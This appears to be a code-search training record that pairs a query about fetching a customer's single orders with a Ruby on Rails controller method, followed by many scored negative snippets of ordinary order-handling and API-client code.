[ "0.6655822", "0.6456264", "0.62143826", "0.60961294", "0.60788256", "0.59696996", "0.595337", "0.5926247", "0.58955306", "0.5890947", "0.5888247", "0.5874496", "0.585628", "0.58253384", "0.5813705", "0.57688797", "0.57616186", "0.57507354", "0.5744033", "0.57139045", "0.5691055", "0.56886965", "0.56882143", "0.5641772", "0.5638083", "0.561963", "0.5598266", "0.5596899", "0.5581044", "0.5565462", "0.55641603", "0.5560629", "0.55427665", "0.553931", "0.5506184", "0.55011505", "0.543864", "0.54287434", "0.54202145", "0.5419777", "0.5410024", "0.5336526", "0.533402", "0.53260577", "0.53072", "0.5304307", "0.5294507", "0.5294217", "0.5293132", "0.5284392", "0.52753603", "0.52726233", "0.527064", "0.5266811", "0.5261949", "0.52553064", "0.5253501", "0.5243531", "0.52410734", "0.523593", "0.52306134", "0.52276987", "0.52191", "0.5212383", "0.52094203", "0.5191543", "0.5184936", "0.517358", "0.5163766", "0.5162467", "0.5155838", "0.51516277", "0.51509386", "0.51417434", "0.51417434", "0.51366556", "0.51325715", "0.51293117", "0.5119965", "0.5111026", "0.51105785", "0.51096904", "0.51006985", "0.5100282", "0.5093826", "0.50894696", "0.5089013", "0.5078182", "0.50726134", "0.50681496", "0.5067938", "0.506686", "0.5055722", "0.5046666", "0.504207", "0.50299686", "0.5029669", "0.5021808", "0.5020478", "0.50182265" ]
0.7130487
0
get/order/customer_single_orders Get all single order regardless they are manual or auto for a customer
def customer_single_orders @orders = Order.where(customer_id: current_user.customer_id, category: :single) render json: @orders, status: 200 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @orders = Order.where(:customer_id => params[:customer_id])\n @order = @orders.first \n end", "def customer\n @orders = Spree::Order.where(user_id: current_spree_user.id, state: 'complete').where.not(shipment_state: 'shipped', state: 'returned').order(created_at: :desc)\n end", "def all_orders(options)\n request :account, :get, 'allOrders', options\n end", "def index\n @customers = Customer.where(order_id: params[:order_id])\n @order = Order.find(params[:order_id])\n end", "def orders\n params = { command: 'account_orders' }\n get('/json.php', params)\n end", "def get_orders\n return ShopifyAPI::Order.all\n end", "def customer_order\n @customer_order\n end", "def get_customer_order\n begin\n db = SQLite3::Database.open(ENV[\"BANGAZON\"])\n array_of_orders = db.execute(\"SELECT customers.id 'Customer Number', customers.last_name 'Last Name', customers.first_name 'First Name', orders.id 'Order Number', products.product_title 'Product', products.product_price 'Price'\n FROM orders, customers, order_products, products\n\n WHERE orders.customer_id = ?\n AND orders.id = ?\n AND order_products.product_id = products.id\", [@customer_id, @id])\n db.close\n end\n array_of_orders\n end", "def orders\n return [] if !is_client?\n client.orders\n end", "def list_customer_orders\n orders = current_user.restaurant.orders.where.not(\"status = ? OR status = ? OR status = ? OR status = ?\", 2, 7, 8, 9)\n\n if orders.where(status: 6).length > 0 || orders.where(status: 0).length > 0\n render json: {orders: orders.as_json(include: :customer), notify: true}, status: :ok\n else\n render json: {orders: orders.as_json(include: :customer), notify: false}, status: :ok\n end\n end", "def orders_including_customer\n Spree::Order\n .joins(:order_cycle)\n .includes(:customer)\n .for_order_cycle(order_cycle)\n .completed\n .order('customers.name ASC')\n end", "def getorders(args={})\n {\n :method=> \"GetOrders\"\n }.to_json\n end", "def orders\n authenticated_post(\"auth/r/orders\").body\n end", "def index\n @single_customers = SingleCustomer.managed_by_users(current_user.direct_subordinates_with_self.collect(&:id)).page params[:page]\n end", "def index\n @orders = Order.paginate(:page => params[:page])\n if params[:customer].present?\n @customer = Customer.find params[:customer]\n @orders = Order.where(customer_id: params[:customer]).page(params[:page])\n else\n @orders = Order.paginate(:page => params[:page])\n end\n end", "def get_orders\n orders\n end", "def get_all_orders() \n\tputs \"Getting all orders\"\n\tresponse = request_get(\"/api/order\")\n\tputs response.body\nend", "def orders\n @title = \"Your Orders\"\n @orders = @customer.orders.paginate(\n :page => params[:page],\n :per_page => 10\n )\n end", "def invoiced_orders\n return [] if !is_client?\n client.orders\n end", "def particular_customer_quotes\n offset = 0\n filter = \"%\"\n if (params[:offset].class.to_s != \"NilClass\" && params[:offset].integer?)\n offset = params[:offset].to_i\n end\n if (params[:filter].class.to_s != \"NilClass\")\n filter = \"%\" + params[:filter] + \"%\"\n end\n # lstQuotes = Quote.includes(:dispatcher, :customer, :status).order('dtCreated DESC').offset(offset).limit(30).to_json(include: [:dispatcher, :customer, :status])\n # it should be this query which is written down\n lstQuotes = Quote.includes(:dispatcher, :customer, :status).where(idClient: params[:no]).order('dtCreated DESC').offset(offset).limit(30).to_json(include: [:dispatcher, :customer, :status])\n # lstQuotes = Quote.includes(:dispatcher, :customer, :status).where(\"(note like ? OR status.name LIKE ? OR dispatcher.firstName LIKE ? OR dispatcher.lastName LIKE ? OR reference LIKE ? ) AND idClient = ?\", filter, filter, filter, filter, filter, params[:no]).order('DESC').offset(offset).limit(30)\n\n # lstQuotes.each do |quote|\n # # TODO! Format each quote before send it.\n # end\n return render_json_response(lstQuotes, :ok)\n end", "def orders\n authenticated_post(\"orders\").body\n end", "def set_order\n \tcustomer = Customer.find(params[:customer_id])\n \t@order = customer.orders.find(params[:id])\n\n \t#*TEST- Currently using Fictious customer 5 as a test\n \t# @order = Order.find(params[:id])\n\n\n # @order = Order.find(params[:id])\n # respond_with (@orders)\n\n\n end", "def show\n @order = Order.find @customer.order_id\n end", "def orders(id, orderid = nil)\n get(\"/accounts/#{id}/orders#{orderid ? \"/#{orderid}\" : ''}\")['orders']\n end", "def order(id, orderid = '')\n get(\"/accounts/#{id}/orders\")['orders']\n end", "def show\n @customer = Customer.find(@order.customer_id)\n end", "def show\n @customer = current_user.customers.find(params[:id], :include => :orders)\n @orders = @customer.orders.paginate(:per_page => current_user.profile.orders_per_page, :page => params[:page])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @customer }\n end\n end", "def customer_list\n perform_get_request('/customer/list')\n end", "def index\n @orders = Order.user_orders current_user\n end", "def my_orders\n @orders = current_user.orders.all\n end", "def list_orders\n Order.list(@current_user)\n end", "def listOrders()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n ret = []\n Order.find_each do |order|\n ret << {id: order.id, product_id: order.product_id, product_name: Product.find(order.product_id).name, user_id: order.user_id, quantity: order.quantity, price_per_unit: order.price_per_unit, int_status: order.order_status}\n end\n render json: {data: ret.to_json, reason: '', status: true}\n end", "def show\n @orders = @client.orders.where(is_validate:true)\n end", "def index\n @orders = current_user.orders\n end", "def index\n @orders = current_user.orders\n end", "def query_order(options)\n request :account, :get, 'order', options\n end", "def orders\n resp = API.connection.get 'api/orders', {\n user_email: @email,\n user_token: @token\n }\n\n case resp.status\n when 200\n resp.body.map { |order_hash| Order.new(order_hash) }\n when 401\n raise Teachable::AuthError, resp.body['error']\n else\n raise Teachable::Error, 'Unknown response.'\n end\n end", "def index\r\n @sales_orders = @customer.sales_orders\r\n end", "def show\n\t\t@admin_order = Admin::Order.find(params[:id])\n\t\t@admin_client = @admin_order.client\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render json: @admin_order }\n\t\tend\n\tend", "def index\n @user = User.find(params[:user_id])\n @orders = User.find(params[:user_id]).orders\n end", "def customer_order\n order = current_user.restaurant.orders.find(params[:id])\n render json: order.as_json(include: [:customer, {order_details: {include: :meal}}]), status: :ok\n end", "def list_customer_full(custid = nil, email = nil)\r\n\r\n raise ArgumentError.new('Customer Id and email are nil.') if custid.nil? && email.nil?\r\n \r\n suburl = \"&action=list_customer\" \r\n \r\n if !custid.nil? && email.nil?\r\n suburl << \"&custid=\" + custid.to_s\r\n elsif custid.nil? && !email.nil? \r\n suburl << \"&email=\" + email\r\n elsif !custid.nil? && !email.nil?\r\n suburl << \"&custid=\" + custid.to_s + \"&email=\" + email\r\n end\r\n\t \r\n call_target_url(suburl) # call private method\r\n\r\n end", "def index\n #data = HTTParty.get(\"http://localhost:8081/customers.json\")\n #p data.parsed_response[0]['email']\n if params[:customerId].present?\n @orders = Order.where(\"customerId\": params[:customerId].to_i)\n render json: @orders, status: 200\n elsif params[:id].present?\n @orders = Order.find_by id: params[:id]\n render json: @orders, status:200\n elsif params[:email].present?\n res = HTTParty.get(\"http://localhost:8081/customers/?email=#{params['email']}\")\n p res\n res = res.parsed_response\n @orders = Order.where(\"customerId\": res['id'].to_i)\n render json: @orders, status:200\n else\n @orders = Order.all\n end\n end", "def index\n @customer_order_items = CustomerOrderItem.all\n end", "def show\n @orders = Order.where(user_id: @user.id)\n end", "def customer_recurring_orders\n # 1 represents \n @orders = Order.where(customer_id: current_user.customer_id, category: :recurring)\n render json: @orders, status: 200\n \n \n end", "def get_order(order_id)\n authenticated? do\n query_and_build \"marketplace/orders/#{order_id}\"\n end\n end", "def index\n @user_orders = UserOrder.all\n end", "def orders # return all the associated orders / reader method \n Order.all.select do |order| #select will returnn an array \n order.customer == self #condition true or false \n end \n end", "def index\n @customer = current_customer\n @orders = current_customer.orders.all.order(created_at: :desc)\n end", "def my_account\n @orders = current_customer.orders.includes(:product).in_order || []\n end", "def show_orders\n @user = User.find_by_sql [\"select * from users where email = ? and users.status = 'admin'\", params[:email]]\n if @user.count != 0\n @orders = UsersOrder.find_by_sql [\"select users_orders.id, users.email, books.title, books.genre from users_orders\n LEFT JOIN users ON users_orders.user_id = users.id\n LEFT JOIN books ON users_orders.book_id = books.id where users_orders.status = ? ORDER BY users_orders.created_at ASC\", params[:status]]\n end\n render json: @orders\n end", "def index\n # Public method\n if current_user_is_admin\n @orders = Order.all\n elsif current_user\n @orders = Order.where(email: current_user.email)\n else\n @orders = []\n end\n end", "def my_order\n @orders = Order.where(user: current_user)\n end", "def customer_order?\n if Order.where(id: order.id, user_id: current_user.id).first.nil?\n redirect_to navigation.back(1)\n return\n end\n end", "def get_customers\n return ShopifyAPI::Customer.all\n end", "def get_order(order_id)\n\tputs \"Getting order: \" + order_id\n\tresponse = request_get(\"/api/order/\" + order_id)\n\tputs response.body\nend", "def set_order\n if params[:customer_id].nil?\n @customer=nil\n else\n @customer=Customer.find(params[:customer_id])\n end\n @order = Order.find(params[:id])\n end", "def getOrderDetail(orderId)\n try_get(\"https://checkout.google.com/sell/multiOrder?order=#{orderId}&ordersTable=1\")\n return @agent.page.body\n end", "def top\n if params[:customer_id]\n #遷移してきたIDをカスタマーIDに入れて、whereで取得\n @orders = Order.where(customer_id: params[:customer_id])\n else\n #オーダーのデーター全部\n @orders = Order.page(params[:page]).per(10)\n end\n @orders_page = Order.page(params[:page]).per(10)\n end", "def retrieve_order(order_id:)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::GET,\n '/v2/orders/{order_id}',\n 'default')\n .template_param(new_parameter(order_id, key: 'order_id')\n .should_encode(true))\n .header_param(new_parameter('application/json', key: 'accept'))\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end", "def all(params = {})\n req = WebPay::BasicListRequest.create(params)\n raw_response = @client._request(:get, 'customers', req)\n WebPay::CustomerResponseList.new(raw_response)\n end", "def customer(options = nil)\n request = Request.new(@client)\n path = \"/authorization-requests/\" + CGI.escape(@id) + \"/customers\"\n data = {\n\n }\n\n response = Response.new(request.get(path, data, options))\n return_values = Array.new\n \n body = response.body\n body = body[\"customer\"]\n customer = Customer(self._client)\n return_values.push(customer.fill_with_data(body))\n\n \n return_values[0]\n end", "def index\n if @current_customer.admin?\n # Show all orders to the admin\n @orders = Order.all.paginate(page: params[:page], per_page: 15)\n\n #Use of logger class to log messages into the log file\n Logger.instance.log(Time.now.to_s + \": Order viewed by admin \\n\")\n else\n # show user's order only\n @orders = Order.where(customer: @current_customer.id).paginate(page: params[:page], per_page: 15)\n #Use of logger class to log messages into the log file\n Logger.instance.log(Time.now.to_s + \": Order viewed by user \\n\")\n end\n end", "def get_order_list(criteria = {})\n order_criteria = {}\n order_criteria[\"ins1:OrderCreationFilterBeginTimeGMT\"] = criteria[:created_from]\n order_criteria[\"ins1:OrderCreationFilterEndTimeGMT\"] = criteria[:created_to]\n order_criteria[\"ins1:StatusUpdateFilterBeginTimeGMT\"] = criteria[:updated_from]\n order_criteria[\"ins1:StatusUpdateFilterEndTimeGMT\"] = criteria[:updated_to]\n order_criteria[\"ins1:JoinDateFiltersWithOr\"] = criteria[:join_dates]\n\n if order_ids = criteria[:order_ids]\n order_criteria[\"ins1:OrderIDList\"] = {\"ins1:int\" => order_ids}\n end\n\n if client_order_ids = criteria[:client_order_ids]\n order_criteria[\"ins1:ClientOrderIdentifierList\"] = {\"ins1:string\" => client_order_ids}\n end\n\n order_criteria[\"ins1:DetailLevel\"] = criteria[:detail_level] if criteria[:detail_level]\n order_criteria[\"ins1:ExportState\"] = criteria[:export_state] if criteria[:export_state]\n order_criteria[\"ins1:OrderStateFilter\"] = criteria[:state] if criteria[:state]\n order_criteria[\"ins1:PaymentStatusFilter\"] = criteria[:payment_status] if criteria[:payment_status]\n order_criteria[\"ins1:CheckoutStatusFilter\"] = criteria[:checkout_status] if criteria[:checkout_status]\n order_criteria[\"ins1:ShippingStatusFilter\"] = criteria[:shipping_status] if criteria[:shipping_status]\n order_criteria[\"ins1:RefundStatusFilter\"] = criteria[:refund_status] if criteria[:refund_status]\n order_criteria[\"ins1:DistributionCenterCode\"] = criteria[:distribution_center] if criteria[:distribution_center]\n order_criteria[\"ins1:PageNumberFilter\"] = criteria[:page_number]\n order_criteria[\"ins1:PageSize\"] = criteria[:page_size]\n\n soap_response = client.request :get_order_list do\n soap.header = soap_header\n soap.body = {\n \"ins0:accountID\" => creds(:account_id),\n \"ins0:orderCriteria\" => order_criteria\n }\n end\n\n @last_request = client.http\n @last_response = soap_response\n end", "def driver_single_orders\n @orders = Timeslot.joins(:orders).where(orders: { category: :single}, timeslots: {region_id: current_user.driver.region_id})\n render json: @orders, status: 200\n end", "def index\n @orders = current_user.type == 'Referral' ? current_user.orders : Order\n @orders = @orders.success_order.page(params[:page]).per(100).order('orders.created_at DESC')\n end", "def get_order\n @order = Order.find(params[:id])\n end", "def get_order\n @order = Order.find(params[:id])\n end", "def show\n @order = Order.includes([:customer,:order_details => :product]).find(params[:id])\n \n if [email protected]?\n @order_detail = @order.order_details.new\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end", "def show\n if customer_path(session[:customer_id])!=customer_path\n redirect_to customer_path(session[:customer_id]), notice: 'Access denied. Please login to view this account.'\n else\n @customer = Customer.find(params[:id])\n @orders = @customer.orders.paginate page: params[:page], order: 'id desc',\n per_page: 5\n\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @customer }\n end\n end\n end", "def get_order(account_number, order_id)\r\n # the base uri for api requests\r\n query_builder = Configuration.base_uri.dup\r\n\r\n # prepare query string for API call\r\n query_builder << '/accounts/{account_number}/orders/{order_id}'\r\n\r\n # process optional query parameters\r\n query_builder = APIHelper.append_url_with_template_parameters query_builder, {\r\n 'account_number' => account_number,\r\n 'order_id' => order_id\r\n }\r\n\r\n # validate and preprocess url\r\n query_url = APIHelper.clean_url query_builder\r\n\r\n # prepare headers\r\n headers = {\r\n 'user-agent' => 'APIMATIC 2.0',\r\n 'accept' => 'application/json',\r\n 'X-Auth-Token' => Configuration.x_auth_token\r\n }\r\n\r\n # invoke the API call request to fetch the response\r\n response = Unirest.get query_url, headers: headers\r\n\r\n # Error handling using HTTP status codes\r\n if response.code == 401\r\n raise APIException.new 'You are not authenticated', 401, response.raw_body\r\n elsif response.code == 403\r\n raise APIException.new 'This action needs a valid WSSE header', 403, response.raw_body\r\n elsif response.code == 404\r\n raise APIException.new 'Resource not found', 404, response.raw_body\r\n elsif response.code == 400\r\n raise APIException.new 'Http bad request', 400, response.raw_body\r\n elsif !response.code.between?(200, 206) # [200,206] = HTTP OK\r\n raise APIException.new 'HTTP Response Not OK', response.code, response.raw_body\r\n end\r\n\r\n response.body\r\n end", "def index\n @orders = current_customer.try(:orders).order(date: :desc)\n end", "def index\n @orders = Order.order(\"id DESC\").page(params[:page])\n\n if params[:user_id]\n @orders = @orders.where(:user_id => params[:user_id])\n end\n\n if Rails.configuration.orders_status.select{|k, v| v[:real]}.keys.include? params[:status]\n @orders = @orders.where(:status => params[:status])\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def orders\n Order.find_all_by_origin_code(\"smnl#{id}\")\n end", "def all(params = {})\n handle_all_request(\"/customers\", :customers, params)\n end", "def test_orders_auth \n c = customers(:bob)\n assert_equal(orders(:bob_order), c.find_order(1))\n assert_nil(c.find_order(2))\n assert_nil(c.find_order(100000))\n end", "def customerGet(options={})\n assert_valid_keys(options, :customerId)\n assert_keys_exists(options, :customerId)\n execute(:customerGet, options)\n end", "def customerGet(options={})\n assert_valid_keys(options, :customerId)\n assert_keys_exists(options, :customerId)\n execute(:customerGet, options)\n end", "def _wapi_order(order_type_sym, order_hash)\n response = c.soap(order_type_sym, { \n order_type_sym => { \n :_attributes => { :xmlns => 'http://wildwestdomains.com/webservices/' }\n }.update(order_hash).update(creds).update(c.class.uuid_hash) }\n )\n \n result = c.class.decode_soap(response.body)\n if result['result']['code'] == '1000'\n self.orders ||= []\n self.orders << { :user_id => result['user'], :dbpuser_id => result['dbpuser'], :orderid => result['resdata']['orderid'] }\n return self.orders.last\n else\n raise(GoDaddyResellerError.new(result['result']['msg']))\n end\n end", "def single_customer_reports\n @id = params[:id] # stores customer id\n @user = User.find(@id)\n start_date = params[:start_date]\n if (start_date.nil?)\n @date_arr = @user.orders.all\n else\n end_date = params[:end_date]\n @date_arr = []\n @user.orders.each do |order|\n if (order.date.strftime(\"%Y-%m-%d\").to_date >= start_date.to_date && order.date.strftime(\"%Y-%m-%d\").to_date <= end_date.to_date)\n @date_arr.push(order)\n end\n end\n end\n end", "def index\n @orders = Order.all.order(:customer_id, :day_of_week)\n @customer_orders = @orders.select{|order| order.cancelled_on == nil }.group_by{|order| order.customer_id }\n end", "def partial_orders\n @orders = search_reasult(params).includes(:line_items).where(\"fulflmnt_tracking_no IS NULL AND is_cancel=false\").order('order_date desc')\n @orders = Kaminari.paginate_array(@orders).page(params[:page]).per(params[:per_page] || Spree::Config[:orders_per_page])\n end", "def index\n @orders = Order.where(user_id: current_user.id)\n end", "def index\n @allorders = Allorder.all\n end", "def get(order_id)\n get_request(t_url(:order, order_id))\n end", "def get_orders_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: OrderApi.get_orders ...'\n end\n # resource path\n local_var_path = '/order/orders'\n\n # query parameters\n query_params = {}\n query_params[:'order_id'] = opts[:'order_id'] if !opts[:'order_id'].nil?\n query_params[:'payment_method'] = opts[:'payment_method'] if !opts[:'payment_method'].nil?\n query_params[:'company'] = opts[:'company'] if !opts[:'company'].nil?\n query_params[:'first_name'] = opts[:'first_name'] if !opts[:'first_name'].nil?\n query_params[:'last_name'] = opts[:'last_name'] if !opts[:'last_name'].nil?\n query_params[:'city'] = opts[:'city'] if !opts[:'city'].nil?\n query_params[:'state_region'] = opts[:'state_region'] if !opts[:'state_region'].nil?\n query_params[:'postal_code'] = opts[:'postal_code'] if !opts[:'postal_code'].nil?\n query_params[:'country_code'] = opts[:'country_code'] if !opts[:'country_code'].nil?\n query_params[:'phone'] = opts[:'phone'] if !opts[:'phone'].nil?\n query_params[:'email'] = opts[:'email'] if !opts[:'email'].nil?\n query_params[:'cc_email'] = opts[:'cc_email'] if !opts[:'cc_email'].nil?\n query_params[:'total'] = opts[:'total'] if !opts[:'total'].nil?\n query_params[:'screen_branding_theme_code'] = opts[:'screen_branding_theme_code'] if !opts[:'screen_branding_theme_code'].nil?\n query_params[:'storefront_host_name'] = opts[:'storefront_host_name'] if !opts[:'storefront_host_name'].nil?\n query_params[:'creation_date_begin'] = opts[:'creation_date_begin'] if !opts[:'creation_date_begin'].nil?\n query_params[:'creation_date_end'] = opts[:'creation_date_end'] if !opts[:'creation_date_end'].nil?\n query_params[:'payment_date_begin'] = opts[:'payment_date_begin'] if !opts[:'payment_date_begin'].nil?\n query_params[:'payment_date_end'] = opts[:'payment_date_end'] if !opts[:'payment_date_end'].nil?\n query_params[:'shipment_date_begin'] = opts[:'shipment_date_begin'] if !opts[:'shipment_date_begin'].nil?\n query_params[:'shipment_date_end'] = opts[:'shipment_date_end'] if !opts[:'shipment_date_end'].nil?\n query_params[:'rma'] = opts[:'rma'] if !opts[:'rma'].nil?\n query_params[:'purchase_order_number'] = opts[:'purchase_order_number'] if !opts[:'purchase_order_number'].nil?\n query_params[:'item_id'] = opts[:'item_id'] if !opts[:'item_id'].nil?\n query_params[:'current_stage'] = opts[:'current_stage'] if !opts[:'current_stage'].nil?\n query_params[:'channel_partner_code'] = opts[:'channel_partner_code'] if !opts[:'channel_partner_code'].nil?\n query_params[:'channel_partner_order_id'] = opts[:'channel_partner_order_id'] if !opts[:'channel_partner_order_id'].nil?\n query_params[:'_limit'] = opts[:'_limit'] if !opts[:'_limit'].nil?\n query_params[:'_offset'] = opts[:'_offset'] if !opts[:'_offset'].nil?\n query_params[:'_sort'] = opts[:'_sort'] if !opts[:'_sort'].nil?\n query_params[:'_expand'] = opts[:'_expand'] if !opts[:'_expand'].nil?\n\n # header parameters\n header_params = {}\n header_params['X-UltraCart-Api-Version'] = @api_client.select_header_api_version()\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['ultraCartOauth', 'ultraCartSimpleApiKey']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'OrdersResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: OrderApi#get_orders\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def customer(customer_id)\n perform_get_request(\"/customer/#{customer_id}\")\n end", "def index\n @custom_cake_orders = CustomCakeOrder.all\n end", "def customer(customer_id)\n client.get \"customers/#{inst_id}/#{customer_id}\"\n end", "def index\n @orders = current_user.purchases\n end", "def show\n search_order_per_customer()\n end", "def show\n if @order\n respond_to do |format|\n format.html { @order }\n format.json { render json: @order.to_json(include: [:status, :package, :discount]) }\n end\n else\n redirect_to orders_path, notice: \"Order ID not found for that client.\"\n end\n end", "def index\n session[:showing_user] = nil # make sure this session variable is cleared out\n if admin_user?\n @orders = Order.all\n else\n @orders = current_user.orders.to_a\n end\n end", "def getAndCancelOrderIdByCustomerId(id)\n unit = \"Orders\"\n key = \"id\"\n #value = mailaddress\n url_data = \"/api/orders\"\n filter = \"?filter[customerId]=#{id}\"\n url_request = \"#{url_data}/#{filter}\"\n puts \"url_request:#{url_request}\"\n response_data_customer = readData(url_request)\n amount_total_orders = response_data_customer['total']\n puts \"amount_total_orders:#{amount_total_orders}\"\n counter=0\n #while loop: set status for all known orders from user -> this is not required\n while counter < amount_total_orders do\n order_id_by_mail = response_data_customer['data'][counter][key]\n order_number_by_mail = response_data_customer['data'][counter]['number']\n puts \">>>>>> cancel order with id:#{order_id_by_mail} and order_number: #{order_number_by_mail}\"\n setValueToCancel(unit, order_id_by_mail, \"orderStatusId\")\n #deleteing orders is not possible because missing api-comand\n counter += 1\n end\n return order_id_by_mail\n end", "def index\n # uses the customer_orders scope to retrieve all the orders that the current customer has made\n @orders = Order.customer_orders(current_customer)\n # uses the customer_average_order_cost scope to calculate the average cost of all the orders that the\n # current customer has made\n @average_cost_of_orders = Order.customer_average_order_cost(current_customer)\n end", "def order(order_id)\n Order.find(order_id)\n end", "def index\n @orders = order.all\n end", "def get_customer(id)\n get(\"customers/#{id}\")\n end", "def get_customer(id)\n get(\"customers/#{id}\")\n end" ]
[ "0.66842574", "0.6492773", "0.6374647", "0.63126725", "0.6172871", "0.615013", "0.61402535", "0.61110544", "0.6083359", "0.6062478", "0.6053173", "0.60333455", "0.6025719", "0.5997093", "0.59852153", "0.5981229", "0.59235555", "0.5920914", "0.5916245", "0.59034634", "0.5887789", "0.5884376", "0.5875462", "0.585058", "0.5820796", "0.5809613", "0.5744115", "0.5738673", "0.573426", "0.57172215", "0.57050407", "0.57017297", "0.5684583", "0.56840163", "0.56840163", "0.5680568", "0.5677813", "0.56765187", "0.5675288", "0.56732696", "0.5668919", "0.56685406", "0.5668215", "0.56611025", "0.5658659", "0.56490237", "0.56447726", "0.562399", "0.5623145", "0.56214297", "0.5617751", "0.56106865", "0.56086624", "0.5602497", "0.5602349", "0.56013906", "0.5595251", "0.5584654", "0.5570155", "0.55622745", "0.55592877", "0.5557448", "0.5540975", "0.55361205", "0.5532835", "0.55328107", "0.55294114", "0.55293375", "0.55293375", "0.55181074", "0.5506995", "0.5506097", "0.5505477", "0.5503038", "0.549903", "0.5498962", "0.5496125", "0.5494271", "0.5494271", "0.5481219", "0.5477842", "0.54754186", "0.5473234", "0.54732054", "0.546607", "0.54647654", "0.54610443", "0.5457645", "0.5454957", "0.54546314", "0.54426026", "0.54416794", "0.5441563", "0.5437", "0.54305166", "0.54296094", "0.5426733", "0.5426506", "0.54205453", "0.54205453" ]
0.73650944
0
get/order/driver_recurring_orders Gets recurring order that are used to generate auto orders for a driver
def driver_recurring_orders @orders = Timeslot.joins(:orders).where(orders: { category: :recurring}, timeslots: {region_id: current_user.driver.region_id}) render json: @orders, status: 200 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def next_recurring_order\n if actual_order = self.last_active_recurring_order\n self.orders.recurring.find(:all, :conditions => [\"orders.id > ?\", actual_order.id],\n :order => \"orders.id ASC\").first\n end\n end", "def list_orders(code)\n PsegRecurring::Order.new(@credentials).fetch_orders(code)\n end", "def query_order(options)\n request :account, :get, 'order', options\n end", "def get_orders\n orders\n end", "def customer_recurring_orders\n # 1 represents \n @orders = Order.where(customer_id: current_user.customer_id, category: :recurring)\n render json: @orders, status: 200\n \n \n end", "def last_active_recurring_order\n self.orders.recurring.find(:all, :order => \"orders.id ASC\").select {|o| Date.today >= o.service_period_start_on && Date.today <= o.service_period_end_on}.last\n end", "def orders\n Reggora::Resources::Order.new(config)\n end", "def getorders(args={})\n {\n :method=> \"GetOrders\"\n }.to_json\n end", "def recent_orders()\n\t\twith_auth nil do |options|\n\t\t\tself.class.get(\"/api/v1/orders\", options)\n \tend\n\tend", "def all_orders(options)\n request :account, :get, 'allOrders', options\n end", "def get_orders\n return ShopifyAPI::Order.all\n end", "def invoiced_orders\n return [] if !is_client?\n client.orders\n end", "def _wapi_order(order_type_sym, order_hash)\n response = c.soap(order_type_sym, { \n order_type_sym => { \n :_attributes => { :xmlns => 'http://wildwestdomains.com/webservices/' }\n }.update(order_hash).update(creds).update(c.class.uuid_hash) }\n )\n \n result = c.class.decode_soap(response.body)\n if result['result']['code'] == '1000'\n self.orders ||= []\n self.orders << { :user_id => result['user'], :dbpuser_id => result['dbpuser'], :orderid => result['resdata']['orderid'] }\n return self.orders.last\n else\n raise(GoDaddyResellerError.new(result['result']['msg']))\n end\n end", "def orders\n return [] if !is_client?\n client.orders\n end", "def orders\n params = { command: 'account_orders' }\n get('/json.php', params)\n end", "def orders\n authenticated_post(\"auth/r/orders\").body\n end", "def retrieve_order(order_id:)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::GET,\n '/v2/orders/{order_id}',\n 'default')\n .template_param(new_parameter(order_id, key: 'order_id')\n .should_encode(true))\n .header_param(new_parameter('application/json', key: 'accept'))\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end", "def get_order(order_id)\n\tputs \"Getting order: \" + order_id\n\tresponse = request_get(\"/api/order/\" + order_id)\n\tputs response.body\nend", "def order(id, orderid = '')\n get(\"/accounts/#{id}/orders\")['orders']\n end", "def paypal_checkout_recurring\n description = \"Pay to buy this domain.\"\n description += \"Domain: \" + (session['domain']['name']+\".\"+session['domain']['type']).downcase\n description += \".billing:\"\n description += \" -period: Month,\"\n description += \" -frequency: 12,\"\n description += \" -amount: \" + session['order_item']['total_price'] +\",\"\n description += \" -currency_code: USD.\"\n\n Paypal.sandbox! if PAYPAL_API[:sandbox]\n request = Paypal::Express::Request.new(\n :username => PAYPAL_API[:username],\n :password => PAYPAL_API[:password],\n :signature => PAYPAL_API[:signature]\n )\n payment_request = Paypal::Payment::Request.new(\n :currency_code => :USD, # if nil, PayPal use USD as default\n :billing_type => :RecurringPayments,\n :billing_agreement_description => description\n )\n response = request.setup(\n payment_request,\n paypal_recurring_url,\n root_url\n )\n #@my_redirect_uri = response.redirect_uri\n\n redirect_to response.redirect_uri\n end", "def get_all_orders() \n\tputs \"Getting all orders\"\n\tresponse = request_get(\"/api/order\")\n\tputs response.body\nend", "def order_domain_renewals(order_hash)\n _wapi_order(:OrderDomainRenewals, order_hash)\n end", "def order\n @order ||= Elong::API::GHotel::Order.new(@client)\n end", "def get_orders(debtor_handle)\n response = fetch_response(:get_orders, debtor_handle)\n build_entities_from_response(\n Economic::Order,\n response[:order_handle]\n )\n end", "def partial_orders\n @orders = search_reasult(params).includes(:line_items).where(\"fulflmnt_tracking_no IS NULL AND is_cancel=false\").order('order_date desc')\n @orders = Kaminari.paginate_array(@orders).page(params[:page]).per(params[:per_page] || 